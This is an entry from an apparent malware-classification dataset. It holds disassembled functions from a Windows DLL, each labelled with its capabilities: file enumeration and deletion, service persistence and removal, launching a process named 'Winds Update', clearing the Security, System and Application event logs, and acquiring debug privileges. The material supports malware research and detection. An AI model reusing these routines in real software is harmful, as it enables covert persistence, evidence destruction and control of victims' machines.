joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003e90
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x120], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x10003f16
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.10007dc0
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x10003f26
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x10003f46
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x1001a2c0
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10003f77
test al, al
je 0x10003f73
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10003f77
add esi, 2
add edi, 2
test al, al
jne 0x10003f4f
xor eax, eax
jmp 0x10003f7c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004016
mov edi, 0x1001a2bc
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10003fb5
test al, al
je 0x10003fb1
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10003fb5
add esi, 2
add edi, 2
test al, al
jne 0x10003f8d
xor eax, eax
jmp 0x10003fba
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004016
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003f22
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.10007dc0
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x10004060
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
lea eax, [esp + 0x348]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x45c]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str._s.
mov ebp, ecx
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100040b5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44c
ret 4
cmp byte [esp + 0x3c], 0x2e
je 0x10004107
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
push eax
push esi
push str._s_s
je 0x100040ec
lea ecx, [esp + 0x15c]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x150]
mov ecx, ebp
push edx
call fcn.10004060
jmp 0x10004107
lea ecx, [esp + 0x260]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100040b5
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x44c
ret 4

Function at 0x10004140
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x124]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push connect
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100041a7
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10007dc0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x10004240
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x1000425e
call fcn.10004320
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x124]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000428c
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10004304
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.10007dc0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.10004320
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x100049c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x124]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10007dc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
Function at 0x10004ad0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x258
mov eax, dword [esp + 0x25c]
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0x1001a2e0
push eax
mov dword [esp + 0x28], ebx
call fcn.1000dfc0
add esp, 8
mov edi, 0x2800
mov dword [esp + 0x18], eax
mov esi, edx
push edi
push 0x40
mov dword [ebx + 0x120], 0
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
mov ebp, eax
push ecx
push edx
lea eax, [esp + 0x16c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x24]
lea edx, [esp + 0x164]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x10004b72
lea eax, [esp + 0x13]
push 1
push eax
mov ecx, ebx
mov byte [esp + 0x1b], 0x68
call fcn.10007dc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x258
ret 4
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x10004b81
mov edi, dword [esp + 0x14]
lea ecx, [edi - 0x208]
cmp ebx, ecx
jbe 0x10004ba1
add edi, 0x208
push 0x42
push edi
push ebp
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x1001a2c0
lea esi, [esp + 0x50]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x10004bd2
test al, al
je 0x10004bce
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x10004bd2
add esi, 2
add edi, 2
test al, al
jne 0x10004baa
xor eax, eax
jmp 0x10004bd7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004c6c
mov edi, 0x1001a2bc
lea esi, [esp + 0x50]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x10004c10
test al, al
je 0x10004c0c
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x10004c10
add esi, 2
add edi, 2
test al, al
jne 0x10004be8
xor eax, eax
jmp 0x10004c15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004c6c
lea edx, [esp + 0x50]
mov byte [ebx + ebp], 0
push edx
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x50]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x40]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x44]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x38]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x24]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004b7d
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x20]
push ebx
push ebp
call fcn.10007dc0
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x258
ret 4
Function at 0x10004f50
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100165d0
push 0x100154f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x13c], ebx
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp ebx, edi
jne 0x10004fbc
cmp esi, edi
je 0x10005037
lea ecx, [ebp - 0x138]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10005037
cmp dword [ebp - 0x134], 1
je 0x10004ff6
lea edx, [ebp - 0x138]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10005037
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x53c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x53c]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], 0xffffffff
call fcn.10005060
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005080
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x100050c5
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x100050c0
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x100050d0
Capabilities:
Delete file

Disassembly:
sub esp, 0x504
push ebx
push esi
push edi
push str.DeleteInstallFile
call fcn.10008050
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x518]
lea ecx, [esp + 0x114]
push eax
push str.SYSTEMCurrentControlSetServices_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0xc]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x14]
push 0
push eax
push 1
lea ecx, [esp + 0x124]
push str.Load_Path
push ecx
push reloc.WS2_32.dll_bind
call fcn.10009d10
push 3
push 0
push 0
push 1
lea edx, [esp + 0x140]
push str.Load_Path
push edx
push reloc.WS2_32.dll_bind
call fcn.1000a1b0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x3c
xor esi, esi
push 0xbb8
call edi
lea eax, [esp + 0xc]
push eax
call ebx
test eax, eax
jne 0x10005184
inc esi
cmp esi, 0x19
jl 0x1000516c
lea ecx, [esp + 0xc]
push ecx
call fcn.10008050
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x504
ret

Function at 0x10005200
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005254
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.100051a0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100052bf
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x100052d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x1fc
push ebx
push esi
push edi
push 0x1f4
lea eax, [esp + 0x18]
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [esp + 0x218]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 4
push edx
push 4
push 0
push str.Type
push eax
mov dword [esp + 0x28], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x1fc
ret

Function at 0x10005380
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x204
push ebp
push esi
push edi
push 0x1f4
lea eax, [esp + 0x20]
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [esp + 0x220]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push str.Type
push edx
mov dword [esp + 0x2c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x204
ret
Function at 0x10005f30
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005f52
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000e5b0
add esp, 8
test al, al
jne 0x10005f66
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Winds_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10005fc0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100060b5
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100060b5
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100060b5
lea eax, [esp + 0x64]
push 0x1001a29c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x100060b5
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x1000608f
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x100060c0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006110
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100060f7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10006260
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x1000628d
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x1000628f
xor eax, eax
add esp, 0x9c
ret

Function at 0x100062a0
Capabilities:
Acquire debug privileges
Enumerate gui resources
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._termsrv.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.1000dd00
lea edx, [esp + 8]
push edx
call fcn.1000e800
add esp, 0xc
test al, al
je 0x1000636c
push ebx
push edi
push 0
push str.SeDebugPrivilege
call fcn.1000dd00
push 1
push str.SeShutdownPrivilege
call fcn.1000dd00
push str.csrss.exe
call fcn.1000e0f0
mov ebx, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
add esp, 0x14
mov edi, eax
push 0
call ebx
test eax, eax
jne 0x1000635b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push str.drwtsn32.exe
call fcn.1000e0f0
add esp, 4
test eax, eax
je 0x10006345
push eax
push 0x10006210
call esi
push edi
push 0x10006210
call esi
push 0xa
call ebp
push 0
call ebx
test eax, eax
je 0x1000632c
pop esi
pop ebp
push 0
push str.SeShutdownPrivilege
call fcn.1000dd00
add esp, 8
pop edi
pop ebx
add esp, 0x104
ret